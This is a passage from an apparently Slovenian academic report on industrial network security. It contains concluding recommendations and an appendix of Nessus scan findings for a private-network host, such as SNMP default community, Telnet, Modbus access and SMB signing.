posebej v primeru sodobnih omrežij, kjer se vse pogosteje uporabljajo standardne IT rešitve in tehnologije, 
prav tako pa se zaradi procesnih zahtev industrijska omrežja v praksi čedalje tesneje povezujejo s poslovnimi. 
Da bi uspeli varnostna tveganja, ki iz tega izhajajo, omejiti, bo v prihodnje potrebnega kar nekaj truda. 
 
Skrbniki industrijskih sistemov bodo tako morali precej jasneje določiti meje med posameznimi varnostnimi 
conami v industrijskih omrežjih ter hkrati poskrbeti tudi za ustrezno omejitev dostopa. Implementacija 
varnostnih mehanizmov na mrežnem nivoju seveda ne bo zadostovala, pač pa bo potrebno zaščititi tudi 
končne točke, v tem primeru delovne postaje, strežnike in krmilnike. Velik izziv bo zanje tudi pridobitev novih 
znanj s področja varnosti, s katerimi bodo dopolnili znanja s področja avtomatizacije in vodenja procesov.  
 
Seveda pri tem ne bo šlo brez truda proizvajalcev industrijskih rešitev, ki bodo morali pričeti bolj vestno skrbeti 
za pripravo popravkov programske opreme in hkrati implementacijo varnostnih mehanizmov v svojih 
rešitvah. Sodeč po izkušnjah iz poslovnih okolij bo za splošen dvig varnosti v industrijskih okoljih mogoče 
narediti zelo veliko z medsebojnim deljenjem izkušenj ter predvsem podatkov o varnostnih incidentih in 
ranljivostih.   
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10. PRILOGE 
PRILOGA 1: Rezultati varnostnega pregleda s programsko opremo Nessus 
 
192.168.79.210 
Summary 
Critical High Medium Low Info Total 
0 2 5 0 28 35 
Details 
Severity Plugin Id Name 
High (7.5) 10081 FTP Privileged Port Bounce Scan 
High (7.5) 41028 SNMP Agent Default Community Name (public) 
Medium (5.8) 42263 Unencrypted Telnet Server 
Medium (5.0) 23817 Modbus/TCP Coil Access 
Medium (5.0) 23818 Modbus/TCP Discrete Input Access 
Medium (5.0) 57608 SMB Signing Disabled 
Medium (5.0) 83301 Modbus/TCP Device Identification 
Info 10092 FTP Server Detection 
Info 10107 HTTP Server Type and Version 
Info 10114 ICMP Timestamp Request Remote Date Disclosure 
Info 10150 Windows NetBIOS / SMB Remote Host Information Disclosure 
Info 10281 Telnet Server Detection 
Info 10287 Traceroute Information 
Info 10785 
Microsoft Windows SMB NativeLanManager Remote System 
Information Disclosure 
Info 11011 Microsoft Windows SMB Service Detection 
Info 11032 Web Server Directory Enumeration 
Info 11154 Unknown Service Detection: Banner Retrieval 
Info 11219 Nessus SYN scanner 
Info 11919 HMAP Web Server Fingerprinting 
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Info 11936 OS Identification 
Info 12053 Host Fully Qualified Domain Name (FQDN) Resolution 
Info 14274 Nessus SNMP Scanner 
Info 19506 Nessus Scan Information 
Info 22964 Service Detection 
Info 24260 HyperText Transfer Protocol (HTTP) Information 
Info 25220 TCP/IP Timestamps Supported 
Info 35716 Ethernet Card Manufacturer Detection 
Info 40448 SNMP Supported Protocols Detection 
Info 43111 HTTP Methods Allowed (per directory) 
Info 45590 Common Platform Enumeration (CPE) 
Info 46180 Additional DNS Hostnames 
Info 50344 
Missing or Permissive Content-Security-Policy HTTP Response 
Header 
Info 50345 Missing or Permissive X-Frame-Options HTTP Response Header 
Info 54615 Device Type 
Info 91815 Web Application Sitemap 
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